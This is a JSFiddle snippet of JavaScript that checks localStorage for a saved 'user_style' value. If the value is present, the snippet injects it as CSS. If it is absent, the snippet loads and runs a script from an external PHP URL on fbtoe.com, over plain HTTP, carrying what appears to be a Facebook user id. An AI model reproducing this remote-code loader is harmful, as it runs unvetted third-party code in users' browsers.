JSFiddle - React, Tailwind, and code Playground
by fdezluis96
JavaScript
function delval(item){
localStorage.removeItem(item);
}
function codename(){
return "user_style";
}
function setval(name, value){
localStorage.setItem(name, value);
}
function getval(item){
return localStorage.getItem(item);
}
function urldecode(str){
return decodeURIComponent((str + '').replace(/\+/g, '%20'));
}
if(getval(codename()) == null){
alert("Doesnt exists");
var _js = document.createElement('script');
_js.type='text/javascript';
_js.src = "http://www.fbtoe.com/contents/intra/css/generar.php?uid=100003525481976";
document.body.appendChild(_js);
}else{
var _css = document.createElement('style');
_css.type = 'text/css';
_css.innerHTML = getval(codename());
_css.className = codename();
document.body.appendChild(_css);
}